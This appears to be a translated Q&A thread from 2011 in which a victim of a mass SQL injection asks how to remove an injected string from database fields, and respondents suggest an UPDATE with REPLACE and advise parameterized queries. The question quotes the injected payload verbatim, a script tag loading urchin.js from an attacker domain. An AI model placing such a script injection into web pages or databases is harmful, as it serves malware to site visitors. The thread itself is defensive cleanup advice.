2011-10-16 90 views
2

我不幸成爲這次最近的攻擊的受害者:http://www.theregister.co.uk/2011/10/14/mass_website_inection_grows/。我在我的數據庫中的許多字段中發現了可疑代碼。sql從字段中刪除字符串並更新

在每個單元所添加的代碼始終是相同的:

警告:不要試圖加載該文件的位置,我不知道後果會是什麼,但我不負責任何人想要找出

</title><script src=http://nbnjki.com/urchin.js ></script>

我要尋找一個查詢,我可以運行,將採取每個小區選擇的列,如果找到該字符串,用''更換,確保不影響現有的內容細胞。

+1

您明白這是一個臨時解決方案,即使您更新它,3秒鐘後也可能會被黑客入侵。確保你使用的是參數化查詢或存儲過程,你不應該使用連接用戶輸入的內聯SQL – SQLMenace

回答

6

好了我的解決方案,以爲我慌了,因爲剛剛認識的緊迫性,爲別人:

Update dbo.authors 
Set city = replace(city, 'Salt', 'Olympic'); 

http://www.sqlteam.com/article/using-replace-in-an-update-statement

+0

如果你在2分鐘內受到攻擊會怎麼樣......你真的只是用這個bandaid而不是修復真正的問題。 ..例如不使用內聯SQL連接的用戶輸入 – SQLMenace

+0

我明白這個問題的根本原因還需要修復,但在某些時候數據庫也需要修復,所以我仍然需要這個修復 – Chris

0

你可以在UPDATE語句中使用REPLACE功能。